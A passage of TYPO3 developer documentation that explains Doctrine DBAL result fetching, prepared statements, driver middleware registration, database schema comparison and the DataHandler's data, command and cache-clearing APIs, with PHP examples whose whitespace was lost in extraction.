fetchAllAssociative()
This method returns an array containing all rows of the result set by internally
implementing the same while loop as above. Using that method saves some precious
code characters, but is more memory intensive if the result set is large and
contains many rows and data, since large arrays are carried around in PHP:
The method returns a single column from the next row of a result set, other
columns from this result row are discarded. It is especially handy for
QueryBuilder->count() queries:
// use TYPO3\CMS\Core\Database\Connection;// Get the number of tt_content records on pid 42 into variable $numberOfRecords
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$numberOfRecords = $queryBuilder
->count('uid')
->from('tt_content')
->where(
$queryBuilder->expr()->eq(
'pid',
$queryBuilder->createNamedParameter(42, Connection::PARAM_INT)
)
)
->executeQuery()
->fetchOne();
The Connection->count() implementation
does exactly that to return the number of rows directly.
rowCount()
This method returns the number of rows affected by the last execution of this
statement. Use this method instead of counting the number of records in a
->fetchAssociative() loop manually.
Warning
->rowCount() works well with
DELETE,
UPDATE and
INSERT queries. However, it does not return a valid number for
SELECT queries on some DBMSes.
Never use
->rowCount() on
SELECT queries. This may work with
MySQL, but will fail with other databases like SQLite.
Reuse prepared statement
Doctrine DBAL usually prepares a statement first and then executes it with the
given parameters. The implementation of prepared statements depends on the
particular database driver. A driver that does not implement prepared
statements properly falls back to a direct execution of a given query.
There is an API that allows to make real use of prepared statements. This is
handy when the same query is executed over and over again with different
arguments. The example below prepares a statement for the
pages table
and executes it twice with different arguments.
// use TYPO3\CMS\Core\Database\Connection;
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('pages');
$statement = $queryBuilder
->select('uid')
->from('pages')
->where(
$queryBuilder->expr()->eq(
'uid',
$queryBuilder->createPositionalParameter(0, Connection::PARAM_INT)
)
)
->prepare();
$pages = [];
foreach ([24, 25] as $pageId) {
// Bind $pageId value to the first (and in this case only) positional parameter
$statement->bindValue(1, $pageId, Connection::PARAM_INT);
$result = $statement->executeQuery();
$pages[] = $result->fetchAssociative();
$result->free(); // free the resources for this result
}
Prepare SELECT `uid` FROM `pages` WHERE `uid` = ?
Execute SELECT `uid` FROM `pages` WHERE `uid` = '24'
Execute SELECT `uid` FROM `pages` WHERE `uid` = '25'
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The log shows one statement preparation with two executions.
Doctrine DBAL supports custom driver middlewares since version 3. These
middlewares act as a decorator around the actual Driver component.
Subsequently, the Connection, Statement and Result components can be
decorated as well. These middlewares must implement the
\Doctrine\DBAL\Driver\Middleware interface.
A common use case would be a middleware to implement SQL logging capabilities.
<?phpdeclare(strict_types=1);
useMyVendor\MyExtension\Doctrine\Driver\CustomGlobalDriverMiddleware;
defined('TYPO3') ordie();
// Register a global middleware
$GLOBALS['TYPO3_CONF_VARS']['DB']['globalDriverMiddlewares']['my-ext/custom-global-driver-middleware'] = [
'target' => CustomGlobalDriverMiddleware::class,
'after' => [
// NOTE: Custom driver middleware should be registered after essential// TYPO3 Core driver middlewares. Use the following identifiers// to ensure that.'typo3/core/custom-platform-driver-middleware',
'typo3/core/custom-pdo-driver-result-middleware',
],
];
// Disable a global driver middleware for a specific connection
$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections']['SecondDatabase']['driverMiddlewares']['my-ext/custom-global-driver-middleware']['disabled'] = true;
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Register a driver middleware for a specific connection
<?phpdeclare(strict_types=1);
useMyVendor\MyExtension\Doctrine\Driver\MyDriverMiddleware;
defined('TYPO3') ordie();
$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections']['Default']['driverMiddlewares']['driver-middleware-identifier'] = [
'target' => MyDriverMiddleware::class,
'after' => [
// NOTE: Custom driver middleware should be registered after essential// TYPO3 Core driver middlewares. Use the following identifiers// to ensure that.'typo3/core/custom-platform-driver-middleware',
'typo3/core/custom-pdo-driver-result-middleware',
],
];
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Registration for driver middlewares for TYPO3 v12 and v13
Extension authors providing dual Core support in one extension version can use
the
Typo3Version class to provide the configuration suitable for the Core
version and avoiding the deprecation notice:
TYPO3 makes the global and connection driver middlewares sortable
similar to the PSR-15 middleware stack. The available
structure for a middleware configuration is:
target
target
Data type
string
Required
yes
The fully-qualified class name of the driver middleware.
before
before
Data type
list of strings
Required
no
Default
[]
A list of middleware identifiers the current middleware should be registered
before.
after
after
Data type
list of strings
Required
no
Default
[]
A list of middleware identifiers the current middleware should be registered
after.
Note
All custom driver middlewares, global or connection-based, should be
placed after the 'typo3/core/custom-platform-driver-middleware' and
'typo3/core/custom-pdo-driver-result-middleware' driver middlewares to
ensure essential Core driver middlewares have been processed first.
disabled
disabled
Data type
boolean
Required
no
Default
false
It can be used to disable a global middleware for a specific connection.
Warning
Do not disable global driver middlewares provided by TYPO3 - they are
essential.
<?phpdeclare(strict_types=1);
useMyVendor\MyExtension\Doctrine\Driver\CustomGlobalDriverMiddleware;
defined('TYPO3') ordie();
// Register global driver middleware
$GLOBALS['TYPO3_CONF_VARS']['DB']['globalDriverMiddlewares']['global-driver-middleware-identifier'] = [
'target' => CustomGlobalDriverMiddleware::class,
'disabled' => false,
'after' => [
// NOTE: Custom driver middleware should be registered after essential// TYPO3 Core driver middlewares. Use the following identifiers// to ensure that.'typo3/core/custom-platform-driver-middleware',
'typo3/core/custom-pdo-driver-result-middleware',
],
'before' => [
'some-driver-middleware-identifier',
],
];
// Disable a global driver middleware for a connection
$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections']['SecondDatabase']['driverMiddlewares']['global-driver-middleware-identifier'] = [
// To disable a global driver middleware, setting disabled to true for a// connection is enough. Repeating target, after and/or before configuration// is not required.'disabled' => true,
];
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Tip
If the lowlevel system extension is installed
and active, a Doctrine DBAL Driver Middlewares section is
provided in the System > Configuration module to view the raw
middleware configuration and the ordered middlewares for each connection:
Example of the configuration of driver middlewares
The interface
UsableForConnectionInterface
New in version 13.0
Note
Real use cases for this interface should be rare edge cases. Typically,
a driver middleware should only be configured on a connection where it is
needed - or does not harm, if used for all connection types as a global
driver middleware.
Doctrine DBAL driver middlewares can be registered
globally for all connections or for
specific connections. Due to the nature of
the decorator pattern, it may become hard to determine for a specific
configuration or drivers, if a middleware needs to be executed only for a
subset, for example, only specific drivers.
TYPO3 provides a custom
\TYPO3\CMS\Core\Database\Middleware\UsableForConnectionInterface
driver middleware interface which requires the implementation of the method
canBeUsedForConnection():
Custom driver middleware can implement this interface to decide per connection and
connection configuration if it should be used or not. For example, registering a
global driver middleware which only takes affect on connections using a specific
driver like pdo_sqlite.
Usually this should be a rare case and mostly a driver middleware can be simply
configured as a connection middleware directly, which leaves this more or less
a special implementation detail for the TYPO3 core.
Return true if the driver middleware should be used for the concrete connection.
param $identifier
the identifier
param $connectionParams
the connectionParams
Returns
bool
This allows to decide, if a middleware should be used for a specific connection,
either based on the
$connectionName or the
$connectionParams,
for example the concrete
$connectionParams['driver'].
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\DoctrineDBAL;
useDoctrine\DBAL\Driver\ConnectionasDriverConnection;
// Using the abstract class minimize the methods to implement and therefore// reduces a lot of boilerplate code. Override only methods that needed to be// customized.useDoctrine\DBAL\Driver\Middleware\AbstractDriverMiddleware;
finalclassCustomDriverextendsAbstractDriverMiddleware{
publicfunctionconnect(#[\SensitiveParameter] array $params): DriverConnection{
$connection = parent::connect($params);
// Do something custom on connect, for example wrapping the driver// connection class or executing some queries on connect.return $connection;
}
}
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The custom driver middleware which implements the
\TYPO3\CMS\Core\Database\Middleware\UsableForConnectionInterface :
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\DoctrineDBAL;
useDoctrine\DBAL\DriverasDoctrineDriverInterface;
useDoctrine\DBAL\Driver\MiddlewareasDoctrineDriverMiddlewareInterface;
useMyVendor\MyExtension\DoctrineDBAL\CustomDriverasMyCustomDriver;
useTYPO3\CMS\Core\Database\Middleware\UsableForConnectionInterface;
finalclassCustomMiddlewareimplementsDoctrineDriverMiddlewareInterface, UsableForConnectionInterface{
publicfunctionwrap(DoctrineDriverInterface $driver): DoctrineDriverInterface{
// Wrap the original or already wrapped driver with our custom driver// decoration class to provide additional features.returnnew MyCustomDriver($driver);
}
publicfunctioncanBeUsedForConnection(
string $identifier,
array $connectionParams,
): bool{
// Only use this driver middleware, if the configured connection driver// is 'pdo_sqlite' (sqlite using php-ext PDO).return ($connectionParams['driver'] ?? '') === 'pdo_sqlite';
}
}
<?phpdeclare(strict_types=1);
useMyVendor\MyExtension\DoctrineDBAL\CustomMiddleware;
defined('TYPO3') ordie();
// Register middleware globally, to include it for all connections which// uses the 'pdo_sqlite' driver.
$GLOBALS['TYPO3_CONF_VARS']['DB']['globalDriverMiddlewares']['my-ext/custom-pdosqlite-driver-middleware'] = [
'target' => CustomMiddleware::class,
'after' => [
// NOTE: Custom driver middleware should be registered after essential// TYPO3 Core driver middlewares. Use the following identifiers// to ensure that.'typo3/core/custom-platform-driver-middleware',
'typo3/core/custom-pdo-driver-result-middleware',
],
];
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Various tips and tricks
Use Find usages of PhpStorm for examples! The source code of the
Core is a great way to learn how specific methods of the API are used. In
PhpStorm it is extremely helpful to right-click on a single method and list
all method usages with Find usages. This is especially handy
to quickly see usage examples for complex methods like
join()
from the query builder.
INSERT,
UPDATE and
DELETE statements are often better
to read and write using the Connection object
instead of the query builder.
SELECT DISTINCT aField is not supported but can be substituted with a
->groupBy('aField').
Doctrine DBAL throws exceptions if something goes wrong when calling API methods.
The exception type is
\Doctrine\DBAL\Exception. Typical extensions should
usually not catch such exceptions but let it bubble up to be handled by the
global TYPO3 core error and exception handling: They most often indicate a
broken connection, database schema or programming error and extensions should
usually not try to hide away or escalate them on their own.
count() <database-query-builder-count> query types using the
query builder normally call
->fetchOne() to receive the count value.
The count() method of the
Connection object does this automatically and
returns the result of the count value directly.
Troubleshooting
About database error "Row size too large"
MySQL and MariaDB can generate a "Row size too large" error when modifying
tables with numerous columns. TYPO3 version 13 has implemented measures
to mitigate this issue in most scenarios. We refer to the changelog:
Important: #104153 - About database error
"Row size too large".
Database compare during update and installation
Whenever you install or update an extension, or change the
TCA definition or the
ext_tables.sql in an extension, you have to take
into account the fact that the database schema might have changed.
Here system maintainers can compare the database schema and apply any changes.
Users with
System Maintainer privileges can use the
Analyze Database Structure section in the
Admin Tools > Maintenance module to compare the defined schema
with the current one. The module display options to incorporate changes by adding,
removing, or updating columns.
You can also use the console command typo3 extension:setup to add tables
and columns defined by installed or updated extensions:
vendor/bin/typo3 extension:setup
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typo3/sysext/core/bin/typo3 extension:setup
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Adding columns and tables is safe
Adding additional columns or tables is not problematic. You can safely add any
column shown as missing.
Deleting columns or tables: be careful
Columns suggested for deletion might still be needed by
upgrade wizards.
Before deleting tables or columns with the database analyzer:
Run all upgrade wizards
Make a database backup
Some third-party extensions may rely on database columns or tables they do not
explicitly define. Removing them could cause these extensions to break.
Changing a column type: it depends
Some column changes extend capabilities and are safe. For example:
Changing from
TEXT to
LONGTEXT allows more data to be stored
and does not affect existing content.
Other changes can cause problems if existing data violates the new definition.
For instance:
Changing from
NULL to
NOT NULL will fail if any row,
including soft-deleted ones (deleted = 1), still contains NULL.
Some extensions provide upgrade wizards to clean or convert data. Note that
many wizards ignore soft-deleted records. Deleting unnecessary soft-deleted
records may help.
If two extensions define the same column in different ways, the definition
from the extension that is
loaded last
will take precedence.
This means that an extension that changes or adds columns to a table must
declare a dependency on the original extension to ensure proper loading order.
Extbase persistence – models and the database
Extbase provides its own way to persist and retrieve data using models and
repositories, which are built on top of TYPO3's database abstraction layer.
Repositories in Extbase usually define custom find*() methods and rely on
\TYPO3\CMS\Extbase\Persistence\Generic\Query to perform queries on models.
While Extbase persistence is the standard way to work with data in Extbase,
you can also use the DBAL QueryBuilder directly within an Extbase context when:
You need better performance on large datasets.
You are performing complex queries (aggregates like
SUM,
AVG,
...).
Note
Extbase queries and DBAL queries are not interchangeable. Extbase uses its
own persistence layer with different concepts and behaviors. Use each
approach where it fits best — and avoid mixing them in the same method or query logic.
The DataHandler is the class that handles alldata
writing to database tables configured in TCA. In addition the class handles
commands such as copy, move, delete. It will handle
undo/history and versioning of records and everything will be logged
to the
sys_log table. It will make sure that write permissions are
evaluated correctly for the user trying to write to the database. Generally,
any processing specific option in the
$GLOBALS['TCA'] array is handled
by DataHandler.
Using DataHandler for manipulation of the database content in the TCA-configured
tables guarantees that the data integrity of TYPO3 is
respected. This cannot be safely guaranteed, if you write to TCA-configured
database tables directly. It will also manage the relations
to files and other records.
DataHandler requires a backend login to work. This is due to the fact that
permissions are observed (of course) and thus DataHandler needs a backend user
to evaluate against. This means you cannot use DataHandler from the
frontend scope. Thus writing to tables (such as a guestbook) will have
to be done from the frontend without DataHandler.
See also
The features of TCA are described in the TCA Reference.
Files
DataHandler can also handle files. The file operations are normally
performed in the File > Filelist module where you can manage a
directory on the server by copying, moving, deleting and editing files
and directories. The file operations are managed by two Core classes,
\TYPO3\CMS\Core\Utility\File\BasicFileUtility and
\TYPO3\CMS\Core\Utility\File\ExtendedFileUtility .
When you are using DataHandler from your backend applications you need to
prepare two arrays of information which contain the instructions to
DataHandler (
\TYPO3\CMS\Core\DataHandling\DataHandler )
of what actions to perform. They fall into two categories:
data and commands.
"Data" is when you want to write information to a database table or
create a new record.
"Commands" is when you want to move, copy or delete a record in the
system.
The data and commands are created as multidimensional arrays, and to
understand the API of DataHandler you need to understand the
hierarchy of these two arrays.
Caution
The DataHandler needs a properly configured TCA. If
your field is not configured in the TCA the DataHandler will not be able to
interact with it. This also is the case if you configured
"type"="none" (which is in fact a valid type) or if an invalid
type is specified. In that case, the DataHandler is not
able to determine the correct value of the field.
Basic usage
EXT:my_extension/Classes/DataHandling/MyClass.php
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\DataHandling;
useTYPO3\CMS\Core\DataHandling\DataHandler;
useTYPO3\CMS\Core\Utility\GeneralUtility;
finalclassMyClass{
publicfunctionbasicUsage(): void{
/** @var DataHandler $dataHandler */// Do not inject or reuse the DataHander as it holds state!// Do not use `new` as GeneralUtility::makeInstance handles dependencies
$dataHandler = GeneralUtility::makeInstance(DataHandler::class);
$cmd = [];
$data = [];
$dataHandler->start($data, $cmd);
// ... do something more ...
}
}
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After this initialization you usually want to perform the actual operations by
calling one (or both) of these two methods:
Any error that might have occurred during your DataHandler operations can be
accessed via its public property
$this->dataHandler->errorLog.
See Error handling.
Commands array
Syntax:
$cmd[ tablename ][ uid ][ command ] = value
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Description of keywords in syntax:
tablename
tablename
Data type
string
Name of the database table. It must be configured in the
$GLOBALS['TCA'] array, otherwise it cannot be processed.
uid
uid
Data type
integer
The UID of the record that is manipulated. This is always an integer.
command
command
Data type
string (command keyword)
The command type you want to execute.
Note
Only one command can be executed at a time for each
record! The first command in the array will be taken.
The significance of the value depends on whether it is positive or
negative:
Positive value
The value points to a page UID. A copy of the record
(and possibly child elements/tree below) will be inserted inside that
page as the first element.
Negative value
The (absolute) value points to another record from the
same table as the record being copied. The new record will be inserted
on the same page as that record and if
$GLOBALS['TCA'][$table]['ctrl']['sortby']
is set, then it will be positioned after.
Zero value
Record is inserted on tree root level.
array
The array has to contain the integer value as in examples above and
may contain field => value pairs for updates. The array is structured
like:
[
'action' => 'paste', // 'paste' is used for both move and copy commands'target' => $pUid, // Defines the page to insert the record, or record uid to copy after'update' => $update, // Array with field => value to be updated.
]
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move
move
DataType
integer
Works like copy but moves the record instead of
making a copy.
This action will set the "deleted" flag back to 0.
localize
localize
Data type
integer
The value is the
languageId (defined in the
site configuration) to localize the
record into. Basically a localization of a record is making a copy of the
record (possibly excluding certain fields defined with
l10n_mode) but
changing relevant fields to point to the right language ID.
Requirements for a successful localization is this:
A
languageId must be configured in the site configuration.
The record to be localized by currently be set to default language
and not have any value set for the TCA
transOrigPointerField either.
There cannot exist another localization to the given language for the
record (looking in the original record PID).
Apart from this, ordinary permissions apply as if the user wants to
make a copy of the record on the same page.
The
localize DataHandler command should be used when translating
records in "connected mode"
(strict translation of records from the default language). This command is
used when selecting the "Translate" strategy in the content elements
translation wizard.
copyToLanguage
copyToLanguage
Data type
integer
It behaves like localize command (both record and
child records are copied to given language), but does not set
transOrigPointerField
fields (for example,
l10n_parent).
The
copyToLanguage command should be used when localizing records in
the "free mode". This
command is used when localizing content elements using translation wizard's
"Copy" strategy.
inlineLocalizeSynchronize
inlineLocalizeSynchronize
Data type
array
Performs localization or synchronization of child records.
The command structure is like:
$cmd['tt_content'][13]['inlineLocalizeSynchronize'] = [ // 13 is a parent record uid'field' => 'tx_myfieldname', // field we want to synchronize'language' => 2, // uid of the target language// either the key 'action' or 'ids' must be set'action' => 'localize', // or 'synchronize''ids' => [1, 2, 3], // array of child IDs to be localized
];
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version
version
Data type
array
Versioning action.
Note
This section is currently outdated.
Keys:
[action]
Keyword determining the versioning action. Options are:
"new"
Indicates that a new version of the record should be
created. Additional keys, specific for "new" action:
[treeLevels]
(Only pages) Integer, -1 to 4, indicating the number of levels
of the page tree to version together with a page. This is also
referred to as the versioning type:
-1 ("element") means only the page record gets versioned
(default)
0 ("page") means the page + content tables (defined by ctrl
flag versioning_followPages )
>0 ("branch") means the the whole branch is versioned
(full copy of all tables), down to the level indicated by
the value (1 = 1 level down, 2 = 2 levels down, etc.). The
treeLevel is recorded in the field t3ver_swapmode
and will be observed when the record is swapped during
publishing.
[label]
Indicates the version label to apply. If not given, a standard
label including version number and date is added.
"swap"
Indicates that the current online version should be swapped
with another. Additional keys, specific for "swap" action:
[swapWith]
Indicates the uid of the record to swap current version with!
[swapIntoWS]
Boolean, indicates that when a version is published it should be
swapped into the workspace of the offline record.
"clearWSID"
Indicates that the workspace of the record should be set to zero
(0). This removes versions out of workspaces without publishing
them.
"flush"
Completely deletes a version without publishing it.
"setStage"
Sets the stage of an element. Special feature: The id key in the
array can be a comma-separated list of ids in order to perform the
stageChange over a number of records. Also, the internal variable
->generalComment (also available through `/record/commit` route as
`&generalComment`) can be used to set a default comment for all
stage changes of an instance of the data handler. Additional keys
for this action are:
[stageId]
Values are:
-1 (rejected)
0 (editing, default)
1 (review),
10 (publish)
[comment]
Comment string that goes into the log.
Examples of commands
EXT:my_extension/Classes/DataHandling/MyClass.php
$cmd['tt_content'][54]['delete'] = 1; // Deletes tt_content record with uid=54
$cmd['tt_content'][1203]['copy'] = -303; // Copies tt_content uid=1203 to the position after tt_content uid=303 (new record will have the same pid as tt_content uid=1203)
$cmd['tt_content'][1203]['copy'] = 400; // Copies tt_content uid=1203 to first position in page uid=400
$cmd['tt_content'][1203]['move'] = 400; // Moves tt_content uid=1203 to the first position in page uid=400
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Accessing the uid of copied records
The
DataHandler keeps track of records created by copy
operations in its
$copyMappingArray_merged property. This
property is public but marked as
@internal. So it is subject to change
in future TYPO3 versions without notice.
The
$copyMappingArray_merged property can be used to determine the UID
of a record copy based on the UID of the copied record.
Caution
The
$copyMappingArray_merged property should not be mixed up with
the
$copyMappingArray property which contains only information
about the last copy operation and is cleared between each operation.
The structure of the
$copyMappingArray_merged property looks like this:
The property contains the names of the manipulated tables as keys and a map
of original record UIDs and UIDs of record copies as values.
EXT:my_extension/Classes/DataHandling/MyClass.php
$cmd['tt_content'][1203]['copy'] = 400; // Copies tt_content uid=1203 to first position in page uid=400$this->dataHandler->start([], $cmd);
$this->dataHandler->process_cmdmap();
$uid = $this->dataHandler->copyMappingArray_merged['tt_content'][1203];
Name of the database table. There must be a configuration for the table in
$GLOBALS['TCA'] array, otherwise it cannot be processed.
uid
uid
Data type
string|int
The UID of the record that is modified. If the record already exists,
this is an integer.
If you are creating new records, use a random string prefixed with NEW,
for example, NEW7342abc5e6d. You can use static strings (NEW1, NEW2,
...) or generate them using
\TYPO3\CMS\Core\Utility\StringUtility::getUniqueId('NEW').
Caution
If you supply your own string NEW must not be followed by an underscore.
The occurance of an underscore implies a reference to a record in a table.
fieldname
fieldname
Data type
string
Name of the database field you want to set a value for. The columns of the
table must be configured in
$GLOBALS['TCA'][$table]['columns'].
value
value
Data type
string
Value for "fieldname".
For fields of type inline this is a
comma-separated list of UIDs of referenced records.
Note
For FlexForms the data array of the FlexForm field is
deeper than three levels. The number of possible levels for FlexForms
is infinite and defined by the data structure of the FlexForm. But
FlexForm fields always end with a "regular value" of course.
Caution
Changed in version 13.0.1/12.4.11/11.5.35
Modifying the
sys_file table using DataHandler is blocked since TYPO3
version 11.5.35, 12.4.11, and 13.0.1. The table
should not be extended and additional fields should be added to
sys_file_metadata. See security advisory TYPO3-CORE-SA-2024-006
for more information.
Examples of data submission
This creates a new page titled "The page title" as the first page
inside page id 45:
EXT:my_extension/Classes/DataHandling/MyClass.php
$data['pages']['NEW9823be87'] = [
'title' => 'The page title',
'subtitle' => 'Other title stuff',
'pid' => '45'
];
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This creates a new page titled "The page title" right after page id 45
in the tree:
EXT:my_extension/Classes/DataHandling/MyClass.php
$data['pages']['NEW9823be87'] = [
'title' => 'The page title',
'subtitle' => 'Other title stuff',
'pid' => '-45'
];
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This creates two new pages right after each other, located right after
the page id 45:
Notice how the second "pid" value points to the "NEW..." id
placeholder of the first record. This works because the new id of the
first record can be accessed by the second record. However it works
only when the order in the array is as above since the processing
happens in that order!
This creates a new content record with references to existing and
one new system category:
EXT:my_extension/Classes/DataHandling/MyClass.php
$data['sys_category']['NEW9823be87'] = [
'title' => 'New category',
'pid' => 1,
];
$data['tt_content']['NEWbe68s587'] = [
'header' => 'Look ma, categories!',
'pid' => 45,
'categories' => [
1,
2,
'NEW9823be87', // You can also use placeholders here
],
];
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Note
To get real uid of the record you have just created use DataHandler's
substNEWwithIDs property like:
$uid = $this->dataHandler->substNEWwithIDs['NEW9823be87'];
This updates the page with uid=9834 to a new title, "New title for
this page", and no_cache checked:
EXT:my_extension/Classes/DataHandling/MyClass.php
$data['pages'][9834] = [
'title' => 'New title for this page',
'no_cache' => '1'
];
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Clear cache
DataHandler also has an API for clearing the cache tables of TYPO3:
EXT:my_extension/Classes/DataHandling/MyClass.php
$this->dataHandler->clear_cacheCmd($cacheCmd);
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Values for the
$cacheCmd argument:
[integer]
[integer]
Clear the cache for the page ID given.
"all"
"all"
Clears all cache tables (cache_pages, cache_pagesection,
cache_hash).
Only available for admin-users unless explicitly allowed by User
TSconfig "options.clearCache.all".
"pages"
"pages"
Clears all pages from cache_pages.
Only available for admin-users unless explicitly allowed by User
TSconfig "options.clearCache.pages".
Clear cache using cache tags
Every processing of data or commands is finalized with flushing a few caches in
the
pages group. Cache tags are used to specifically flush the
relevant cache entries instead of the cache as whole.
By default the following cache tags are flushed:
The table name of the updated record, for example,
pages when
updating a page or
tx_myextension_mytable when updating a record of
this table.
A combination of table name and record UID, for example,
pages_10
when updating the page with UID 10 or
tx_myextension_mytable_20 when
updating the record with UID 20 of this table.
A page UID prefixed with
pageID_ (
pageId_<page-uid>), for
example,
pageId_10 when updating a page with UID 10 (additionally all
related pages, see
clearcache-pagegrandparent
and
clearcache-pagesiblingchildren)
and
pageId_10 when updating a record if a record of any table placed
on the page with UID 10 (
<table>.pid = 10) is updated.
Notice that you can also use the \TYPO3\CMS\Core\Cache\CacheDataCollector::addCacheTags
method to register additional tags for the cache entry of the current page while
it is rendered. This way you can implement an elaborate caching behavior which
ensures that every record update in the TYPO3 backend (which is processed by the
DataHandler) automatically flushes the cache of all pages where that
record is displayed.
Following the rules mentioned above you could register cache tags
from within your Extbase plugin (for example, controller or a
custom ViewHelper):
The frontend.cache.collector
request attribut has been introduced as a successor of the now deprecated
TypoScriptFrontendController->addCacheTags() method. Switch to
another version of this page for an example in an older TYPO3 version. For
compatibility with TYPO3 v12 and v13 use
TypoScriptFrontendController->addCacheTags().
Hook for cache post-processing
You can configure cache post-processing with a user defined PHP
function. Configuration of the hook can be done from
ext_localconf.php. An example might look like:
There are a few internal variables you can set prior to executing
commands or data submission. These are the most significant:
->copyTree
->copyTree
Data type
integer
Default
0
Sets the number of branches on a page tree to copy.
0
Branch is not copied
1
Pages on the first level are copied.
2
Pages on the second level are copied.
And so on.
->reverseOrder
->reverseOrder
Data type
boolean
Default
false
If set, the data array is reversed in the order, which is a nice thing
if you are creating a whole bunch of new records.
->copyWhichTables
->copyWhichTables
Data type
list of strings (tables)
Default
"*"
This list of tables decides which tables will be copied. If empty then
none will. If "*" then all will (that the user has permission to, of
course).
Using the DataHandler in scripts
You can use the class
\TYPO3\CMS\Core\DataHandling\DataHandler in your
own scripts: Inject the
DataHandler class, build a
$data/
$cmd array you want to pass to the class, and call a few
methods.
Attention
Mind that these scripts have to be run in the
backend scope! There must be a global
$GLOBALS['BE_USER'] object.
It is possible to use the DataHandler for scripts started from the command line
or by the scheduler as well. You can do this by
creating a Symfony Command.
These scripts use the _cli_ backend user. Before using the DataHandler in your
execute() method, you should make sure that this user is initialized like
this:
If you forget to add the backend user authentication, an error similar to this
will occur:
[1.2.1]: Attempt to modify table "pages" without permission
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DataHandler examples
What follows are a few code listings with comments which will provide you with
enough knowledge to get started. It is assumed that you have populated
the
$data and
$cmd arrays correctly prior to these chunks of code.
The syntax for these two arrays is explained in the
DataHandler basics chapter.
Warning
A new
DataHandler object should be created using
GeneralUtility::makeInstance(DataHandler::class) before each use.
It is a stateful service and has to be considered polluted after use. Do not
call
DataHandler::start() or
DataHandler::process_datamap()
multiple time on the same instance.
The
DataHandler class must not be injected into the constructor via
dependency injection. This can cause unexpected
side effects.
Submitting data
This is the most basic example of how to submit data into the database.
EXT:my_extension/Classes/DataHandling/MyClass.php
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\DataHandling;
useTYPO3\CMS\Core\DataHandling\DataHandler;
useTYPO3\CMS\Core\Utility\GeneralUtility;
finalclassMyClass{
publicfunctionsubmitData(): void{
// Prepare the data array
$data = [
// ... the data ...
];
/** @var DataHandler $dataHandler */// Do not inject or reuse the DataHander as it holds state!// Do not use `new` as GeneralUtility::makeInstance handles dependencies
$dataHandler = GeneralUtility::makeInstance(DataHandler::class);
// Register the $data array inside DataHandler and initialize the// class internally.
$dataHandler->start($data, []);
// Submit data and have all records created/updated.
$dataHandler->process_datamap();
}
}
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Executing commands
The most basic way of executing commands:
EXT:my_extension/Classes/DataHandling/MyClass.php
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\DataHandling;
useTYPO3\CMS\Core\DataHandling\DataHandler;
useTYPO3\CMS\Core\Utility\GeneralUtility;
finalclassMyClass{
publicfunctionexecuteCommands(): void{
/** @var DataHandler $dataHandler */// Do not inject or reuse the DataHander as it holds state!// Do not use `new` as GeneralUtility::makeInstance handles dependencies
$dataHandler = GeneralUtility::makeInstance(DataHandler::class);
// Prepare the cmd array
$cmd = [
// ... the cmd structure ...
];
// Registers the $cmd array inside the class and initialize the// class internally.
$dataHandler->start([], $cmd);
// Execute the commands.
$dataHandler->process_cmdmap();
}
}
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Clearing cache
In this example the cache clearing API is used. No data is submitted, no
commands are executed. Still you will have to initialize the class by
calling the
start() method (which will initialize internal state).
Note
Clearing a given cache is possible only for users that are
"admin" or have specific permissions to do so.
EXT:my_extension/Classes/MyClass.php
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\DataHandling;
useTYPO3\CMS\Core\DataHandling\DataHandler;
useTYPO3\CMS\Core\Utility\GeneralUtility;
finalclassMyClass{
publicfunctionclearCache(): void{
/** @var DataHandler $dataHandler */// Do not inject or reuse the DataHander as it holds state!// Do not use `new` as GeneralUtility::makeInstance handles dependencies
$dataHandler = GeneralUtility::makeInstance(DataHandler::class);
$dataHandler->start([], []);
$dataHandler->clear_cacheCmd('all');
}
}
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Caches are organized in groups. Clearing "all" caches will actually clear caches
from the "all" group and not really all caches. Check the
caching framework architecture section
for more details about available caches and groups.
Complex data submission
Imagine the
$data array contains something like this:
This aims to create two new pages in the page with uid "456". In the
following code this is submitted to the database. Notice the reversing of
the order of the array: This is done because otherwise "page 1" is created
first, then "page 2" in the same PID meaning that "page 2" will end up
above "page 1" in the order. Reversing the array will create "page 2" first and
then "page 1" so the "expected order" is preserved.
To insert a record after a given record, set the other record's negative
uid as pid in the new record you're setting as data.
Apart from this a "signal" will be send that the page tree should
be updated at the earliest occasion possible. Finally, the cache for
all pages is cleared.
EXT:my_extension/Classes/DataHandling/MyClass.php
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\DataHandling;
useTYPO3\CMS\Backend\Utility\BackendUtility;
useTYPO3\CMS\Core\DataHandling\DataHandler;
useTYPO3\CMS\Core\Utility\GeneralUtility;
finalclassMyClass{
publicfunctionsubmitComplexData(): void{
$data = [
'pages' => [
'NEW_1' => [
'pid' => 456,
'title' => 'Title for page 1',
],
'NEW_2' => [
'pid' => 456,
'title' => 'Title for page 2',
],
],
];
/** @var DataHandler $dataHandler */// Do not inject or reuse the DataHander as it holds state!// Do not use `new` as GeneralUtility::makeInstance handles dependencies
$dataHandler = GeneralUtility::makeInstance(DataHandler::class);
$dataHandler->reverseOrder = true;
$dataHandler->start($data, []);
$dataHandler->process_datamap();
BackendUtility::setUpdateSignal('updatePageTree');
$dataHandler->clear_cacheCmd('pages');
}
}
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Both data and commands executed with alternative user object
In this case it is shown how you can use the same object instance to
submit both data and execute commands if you like. The order will
depend on the order in the code.
First the
start() method is called, but this time with the third
possible argument which is an alternative
$GLOBALS['BE_USER'] object.
This allows you to force another backend user account to create stuff in the
database. This may be useful in certain special cases. Normally you
should not set this argument since you want DataHandler to use the global
$GLOBALS['BE_USER'].
EXT:my_extension/Classes/DataHandling/MyClass.php
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\DataHandling;
useTYPO3\CMS\Core\Authentication\BackendUserAuthentication;
useTYPO3\CMS\Core\DataHandling\DataHandler;
useTYPO3\CMS\Core\Utility\GeneralUtility;
finalclassMyClass{
publicfunctionuseAlternativeUser(BackendUserAuthentication $alternativeBackendUser): void{
// Prepare the data array
$data = [
// ... the data ...
];
// Prepare the cmd array
$cmd = [
// ... the cmd structure ...
];
